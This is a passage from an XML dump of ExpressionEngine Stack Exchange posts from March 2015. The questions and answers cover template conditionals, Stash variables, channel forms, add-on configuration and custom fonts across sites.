  <row Id="30749" PostTypeId="2" ParentId="25712" CreationDate="2015-03-26T21:45:11.957" Score="1" Body="&lt;p&gt;I might be missing something here, but in your &lt;code&gt;Control Panel &amp;gt; Administration &amp;gt; General Configuration&lt;/code&gt; page, just set the &lt;code&gt;URL to the root directory of your site&lt;/code&gt; setting to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;//www.mysite.com/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(replacing that with your site URL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same for the &lt;code&gt;URL to your &quot;themes&quot; folder&lt;/code&gt; setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the double-slash with no &lt;code&gt;http&lt;/code&gt; prefix means that it is protocol agnostic and accepts &lt;code&gt;https://&lt;/code&gt; and &lt;code&gt;http://&lt;/code&gt;. Your webserver does the rest.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-03-26T21:45:11.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30750" PostTypeId="1" CreationDate="2015-03-26T22:00:23.447" Score="0" ViewCount="70" Body="&lt;p&gt;I'm using DevDemon's Subscriptions to maintain a subscription service for a client site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see tags for adding cards and deleting cards, but I don't see anything for updating an existing card on an existing subscription?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In their docs, the allude to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/documentation/tag/subs-cards/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/tag/subs-cards/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=&quot;subs/cards_edit/&amp;amp;#123;subs:hash&amp;amp;#125;&quot;}&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but there is no cards_edit template in their examples, and I see no tags for accomplishing this?&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2016-06-12T20:35:00.540" Title="How to update an existing card in Subscriptions?" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30751" PostTypeId="2" ParentId="30746" CreationDate="2015-03-27T01:50:17.607" Score="0" Body="&lt;p&gt;Sorry, if you're looking for that functionality in the CP (blocking access to specific forms per member group), that is currently not available. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :) &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front-end, however, you can do this using regular conditionals. For example, if your group_id for &quot;Marketing Member Group&quot; is 7, then you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if group_id == 7}&#xA;   /// Marketing Request form&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-27T01:50:17.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30752" PostTypeId="2" ParentId="30642" CreationDate="2015-03-27T03:13:20.710" Score="0" Body="&lt;p&gt;You would most likely want to check your template for something like the following and remove those lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{product_inventory}&quot; &amp;gt; 0} &#xA;   ...&#xA;{if:else}&#xA;  This item is out of stock&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also try clearing the &quot;Product Inventory Field Name&quot; field within the &quot;Products&quot; configuration page. This would allow you to have no stock control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the first one or both solutions a try to see if it suits your needs.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2015-03-27T03:13:20.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30754" PostTypeId="1" CreationDate="2015-03-27T07:46:27.950" Score="0" ViewCount="68" Body="&lt;p&gt;I'm setting up Subscriptions for a client; I've implemented the Subscriptions page, and it works for people who already have an account in EE, but it fails if you aren't logged in, despite register_member=&quot;yes&quot; being set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error returned is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CARD_CREATE: Email is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified that the email address is indeed in the form, and in fact, I get this error even with the Templates that come with Subscriptions.  This makes the product unusable for my client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters, I also am using SolSpace User, and I have it set up to use email addresses as usernames on the site.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2015-05-27T03:27:36.300" Title="Subscriptions register_member during subscribing doesn't work" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30755" PostTypeId="2" ParentId="21738" CreationDate="2015-03-27T11:13:09.740" Score="2" Body="&lt;p&gt;I got this just now with a combo of Transcribe and Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Transcribe messes with the &lt;code&gt;fetch_site_index&lt;/code&gt; function of EE. In any case the POST action in my form was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/////?ACT=86&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed this by modifying line 3473 in third_party/freeform/addon_builder/addon_builder.php to just use site_index instead of the native fetch_site_index function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, instead of &lt;code&gt;return ee()-&amp;gt;functions-&amp;gt;fetch_site_index(0, 0) .&lt;/code&gt; on that line I use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return ee()-&amp;gt;config-&amp;gt;item('site_url') .&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFlei.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-03-27T11:13:09.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30756" PostTypeId="1" CreationDate="2015-03-27T12:49:42.580" Score="0" ViewCount="322" Body="&lt;p&gt;Got a weird one.  My channel form is not appearing appearing for guests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Channel Form settings set to allow guests posts, with the username being a member in the guests member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My channel form code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;channel=&quot;testimonials&quot; &#xA;return=&quot;test/thankyou&quot;&#xA;return_3=&quot;test/thankyou&quot;&#xA;include_jquery=&quot;no&quot;&#xA;error_handling=&quot;inline&quot;&#xA;rules:t_first_name=&quot;required&quot;&#xA;rules:t_last_name=&quot;required&quot;&#xA;rules:t_email=&quot;required&quot;&#xA;rules:t_testimonial=&quot;required&quot;&#xA;logged_out_member_id=&quot;3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any assistance pointing me in the right direction is appreciated.  Of course, if I'm missing something obvious, definitely send me a textual dope slap!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2015-11-23T20:26:03.697" Title="channel form not visible for guests in EE 2.8.1" Tags="|safecracker|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30757" PostTypeId="2" ParentId="30711" CreationDate="2015-03-27T13:37:57.810" Score="1" Body="&lt;p&gt;You mentioned in your comment...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have my own module and I need to show that modules records also in&#xA;  EE2 Admin panel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In that case, what you need to do is use a module &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/modules.html#the-control-panel-file-mcp-module-name-php&quot; rel=&quot;nofollow&quot;&gt;&quot;Control Panel File&quot;&lt;/a&gt; &lt;code&gt;mcp.module_name.php&lt;/code&gt; in your module. This file in conjunction with some &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/modules.html#view-files&quot; rel=&quot;nofollow&quot;&gt;view files&lt;/a&gt;, will give you a way to present your module data in the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;module tutorial&lt;/a&gt; in the documentation gives an example of how to put it together.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to show the channel data(any entries) in different UI inside&#xA;  EE2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could add methods in your mcp file to display Channel data, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A really quick and easy way to generate the necessary files and boilerplate for a module or other ExpressionEngine add-on is to use this &lt;a href=&quot;https://github.com/rsanchez/generator-ee-addon&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Add-On generator&lt;/a&gt; for Yeoman.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-03-27T13:37:57.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30758" PostTypeId="1" CreationDate="2015-03-27T15:30:59.850" Score="0" ViewCount="93" Body="&lt;p&gt;We have a custom font, and we're using MSM, but I can only get the font to work on the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@font-face {&#xA;    font-family: 'customfont';&#xA;    src: url('/fonts/customfont.ttf');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried copying the font to a 'fonts' folder under each site directory, but that didn't help.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2015-03-27T16:22:26.700" Title="share custom font across sites" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30759" PostTypeId="2" ParentId="30758" CreationDate="2015-03-27T15:52:35.637" Score="0" Body="&lt;p&gt;Try a full path -  src: url('&lt;a href=&quot;http://mysite.something/fonts/customfont.ttf&quot; rel=&quot;nofollow&quot;&gt;http://mysite.something/fonts/customfont.ttf&lt;/a&gt;');&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-03-27T15:52:35.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30760" PostTypeId="2" ParentId="30758" CreationDate="2015-03-27T16:16:39.087" Score="1" Body="&lt;p&gt;Load one of your sites. You can use the developer console in any modern web browser (Chrome or Firefox are best) to check the following (hit F12, and use the magnifying glass or investigate tool to look at a part of the DOM that should have that font, like a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; This should be in that font &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the CSS rule showing up on the Elements tabs style sub-tab??&#xA;If so, is there another CSS rule over riding it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the rule is definitely loaded, with the developer console open, go to the Network tab and reload your site. In this tab, you should look for your file 'customfont.ttf' and see what the Status code is. You're looking for 200 or 304 to verify the font was loaded.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-03-27T16:22:26.700" LastActivityDate="2015-03-27T16:22:26.700" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="30764" PostTypeId="2" ParentId="30716" CreationDate="2015-03-27T19:07:23.137" Score="0" Body="&lt;p&gt;Store by default shows orders with a Order Status of New and a Payment Status of Paid. Orders taken with the Manual Gateway are not marked as Paid by default so you will want to choose Any or Unpaid from the status dropdown.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-27T19:07:23.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30766" PostTypeId="2" ParentId="30756" CreationDate="2015-03-27T20:16:55.380" Score="2" Body="&lt;p&gt;Yes, just in case you were wondering...this one was totally operator error!  Yep...me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had forgotten one basic thing.  When I chose the default author for guest posts, I forgot to check and make sure that the author had the ability to publish entries!  Yep.  I'm a moron!&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2015-03-27T20:16:55.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30767" PostTypeId="2" ParentId="30706" CreationDate="2015-03-27T20:47:01.197" Score="1" Body="&lt;p&gt;Figured it out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if free_shipping==&quot;1&quot;} Free! {if:else} Not Free!{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if free_shipping==&quot;1&quot;} Free! {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2015-03-27T20:47:01.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30768" PostTypeId="2" ParentId="30754" CreationDate="2015-03-28T00:04:56.530" Score="1" Body="&lt;p&gt;Have you installed the included templates? If so, go to the template subscribe_with_register.html and it includes a fully working example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is you must have register_member=&quot;yes&quot; as a parameter and you must have at minimum these four fields: username, email, password and password_confirm. Custom fields can be added with m_field_id_1 with 1 being the field id of the custom member field. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-28T00:04:56.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30769" PostTypeId="2" ParentId="30750" CreationDate="2015-03-28T00:07:11.893" Score="0" Body="&lt;p&gt;Have you looked at the four different example templates included?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are: cards.html, cards_add.html, cards_delete.html, cards_add_stripe.html. With cards add there is an optional parameter delete_cards=&quot;yes&quot; that will remove the other card if you wish to only have one card and not make the customer delete it first. This way they can never not have a card.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-28T00:07:11.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30770" PostTypeId="1" AcceptedAnswerId="30774" CreationDate="2015-03-28T02:47:02.620" Score="0" ViewCount="338" Body="&lt;p&gt;I'm passing an embed variable to an email form. The email form can either send an email to one member or multiple members. If the embed variable is just one entry id, then it's an email for one member. If the ember variable is a piped list of entry ids, then it's an email for multiple members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to capture certain values in a Stash variable, but it's not working for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;recipients&quot;}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;user_recipients&quot;}no{/exp:stash:set}&#xA;&#xA;{if {embed:advertisers_entry_id}}&#xA;    {exp:channel:entries&#xA;        channel=&quot;advertisers&quot;&#xA;        entry_id=&quot;{embed:advertisers_entry_id}&quot;&#xA;    }&#xA;        {if {absolute_results} == 1}&#xA;            {exp:stash:set name=&quot;recipients&quot;}&#xA;                {author}&#xA;            {/exp:stash:set}&#xA;        {if:elseif absolute_results &amp;gt; 1}&#xA;            {exp:stash:set name=&quot;user_recipients&quot;}yes{/exp:stash:set}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding &lt;code&gt;parser=&quot;inward&quot;&lt;/code&gt; to the Channel entry loop and also &lt;code&gt;parse_tags=&quot;yes&quot; parse_vars=&quot;yes&quot;&lt;/code&gt; in the Stash setters. No go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I set Stash variables inside the Channel entry loop?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a test script, based on &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#basic-usage&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#basic-usage&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;} &#xA;    {exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:set name=&quot;recipients&quot;}me@domain.com{/exp:stash:set}&#xA;{exp:stash:set name=&quot;user_recipients&quot;}no{/exp:stash:set}&#xA;&#xA;&amp;lt;h2&amp;gt;title: {exp:stash:title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;recipients: {exp:stash:recipients}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;user_recipients: {exp:stash:user_recipients}&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:title}&lt;/code&gt; outputs nothing. &lt;code&gt;{exp:stash:recipients}&lt;/code&gt; and &lt;code&gt;{exp:stash:user_recipients}&lt;/code&gt; outputs as expected. Does this mean that there is something about the setup of my environment that makes Stash not work as expected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have those variables set, I want to be able to use them in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:contact_form&#xA;    charset=&quot;utf-8&quot;&#xA;    form_class=&quot;customer-email-form&quot;&#xA;    recipients=&quot;{exp:stash:recipients}&quot;&#xA;    user_recipients=&quot;{exp:stash:user_recipients}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They aren't getting parsed. I have tried adding `parse=&quot;inward&quot;. No go.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2015-03-29T22:04:47.963" LastActivityDate="2015-03-29T22:04:47.963" Title="Setting Stash variables inside Channel entry loop - parse order problems?" Tags="|templates|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30771" PostTypeId="1" CreationDate="2015-03-28T10:49:43.863" Score="0" ViewCount="329" Body="&lt;p&gt;i've an issue using Tag with Channel Form in front. I've Tag v.4.2.8 and it's setted in the CP &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HAHzJ.png&quot; alt=&quot;Tag CP settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the code is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;spots&quot; class=&quot;form-horizontal&quot; return=&quot;spot/ENTRY_ID/URL_TITLE&quot; }&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label col-xs-1&quot;&amp;gt;Titolo&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-11&quot;&amp;gt;&#xA;          &amp;lt;input class=&quot;form-control&quot; placeholder=&quot;Inserisci il titolo della tua domanda&quot; name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;          {field:spot_desc}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label col-xs-1&quot;&amp;gt;Tags&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;col-md-11&quot;&amp;gt;&#xA;            &amp;lt;textarea class=&quot;form-control&quot; rows=&quot;1&quot; name=&quot;tags&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;help-block&quot;&amp;gt;Separa ogni tag con la virgola&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when try to submit tags commas separate&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example, taga, commas&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the results is only one tag with the commas&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&quot;&amp;gt;example, taga, commas&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where i'm wrong?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2015-03-30T08:35:10.063" Title="Multiple tags separated by commas don't works in textarea fields" Tags="|solspace-tag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30772" PostTypeId="1" AcceptedAnswerId="30777" CreationDate="2015-03-28T14:24:24.473" Score="3" ViewCount="85" Body="&lt;p&gt;Excuse the title, couldn't really summarise the issue succinctly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I need to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a load of entries from various channels (E). And a series of tweets (T) (which are stored in another channel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to output as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(E) (E) (T) (E) (E) (T)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also, if T doesn't exist output E).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So every third item that is outputted needs to come from the twitter channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using stash but can't for the life of me figure out how to output the content like this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts/suggestions greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Follow on question&lt;/strong&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30879/paginate-two-stash-lists-in-one&quot;&gt;Paginate two stash lists in one&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-04-04T14:43:54.840" Title="Output x twice then y, then x twice" Tags="|channel-entries|stash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30773" PostTypeId="2" ParentId="30772" CreationDate="2015-03-28T16:32:47.197" Score="1" Body="&lt;p&gt;I would use conditionals and the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#modulus-operator&quot; rel=&quot;nofollow&quot;&gt;modulus operator&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; limit=100&quot;}&#xA;&#xA; {if count % 3 == 0}&#xA;&#xA;    insert tweet here&#xA;&#xA; {if:else}&#xA;&#xA;    insert entries here&#xA;&#xA; {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-03-28T16:32:47.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30774" PostTypeId="2" ParentId="30770" CreationDate="2015-03-29T04:09:26.657" Score="1" Body="&lt;p&gt;Thoroughly untested but this could work (in theory)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;{if {embed:advertisers_entry_id}}&#xA;    {exp:channel:entries&#xA;        channel=&quot;advertisers&quot;&#xA;        entry_id=&quot;{embed:advertisers_entry_id}&quot;&#xA;    }&#xA;        {if {absolute_results} == 1}&#xA;            {stash:recipients}&#xA;                {author}&#xA;            {/stash:recipients}&#xA;        {if:elseif absolute_results &amp;gt; 1}&#xA;            {stash:user_recipients}yes{/stash:user_recipients}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for your test script, the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag is at the same level as your &lt;code&gt;{exp:stash:title}&lt;/code&gt; tags hence the output. To address it, put the stash tag above the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;title&quot;}&#xA;  {exp:channel:entries limit=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;} &#xA;    {title}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;recipients&quot;}me@domain.com{/exp:stash:set}&#xA;{exp:stash:set name=&quot;user_recipients&quot;}no{/exp:stash:set}&#xA;&#xA;&amp;lt;h2&amp;gt;title: {exp:stash:title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;recipients: {exp:stash:recipients}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;user_recipients: {exp:stash:user_recipients}&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-03-29T04:09:26.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30776" PostTypeId="2" ParentId="30771" CreationDate="2015-03-29T16:26:39.107" Score="1" Body="&lt;p&gt;You could always just use the &lt;code&gt;{field:tag_fieldtype_short_name}&lt;/code&gt; tag, which Solspace recommends in their docs. If that doesn't work you can always look at the page source after it parses and see the way Solspace requires the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/tag/using_with_channel_form/&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt; for using the Tag module in channel form.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-29T16:26:39.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30777" PostTypeId="2" ParentId="30772" CreationDate="2015-03-29T22:25:56.493" Score="2" Body="&lt;p&gt;This builds on CreateSean's answer, since you're using Stash. You'll need a math plugin and in this example I'm using &lt;a href=&quot;https://github.com/caddis/math&quot; rel=&quot;nofollow&quot;&gt;Math from Caddis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--set main multi-channel entry list--}&#xA;{exp:stash:set_list&#xA;    name=&quot;one&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;ONE_CHANNEL|ANOTHER_CHANNEL|ETC&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    } &#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!--set tweet list--}&#xA;{exp:stash:set_list&#xA;    name=&quot;two&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;2&quot; {!--run 2x to parse the math plugin--}&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;TWEET_CHANNEL&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    } &#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {!--set a number to match every third count where the tweet should be output--}&#xA;        {stash:two_count}{exp:math formula=&quot;{count} * 3&quot;}{/stash:two_count}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!--output multi-channel list and tweet list--}&#xA;{exp:stash:get_list&#xA;    name=&quot;one&quot; &#xA;    prefix=&quot;st1&quot;&#xA;}&#xA;    {!--output tweet on every third loop--}&#xA;    {if st1:count % 3 == 0}&#xA;&#xA;        {exp:stash:get_list:nested&#xA;            name=&quot;two&quot; &#xA;            limit=&quot;1&quot;&#xA;            match=&quot;#{st1:count}#&quot; &#xA;            against=&quot;two_count&quot;&#xA;            prefix=&quot;st2&quot;&#xA;        }&#xA;            {!--if no results, output main channel 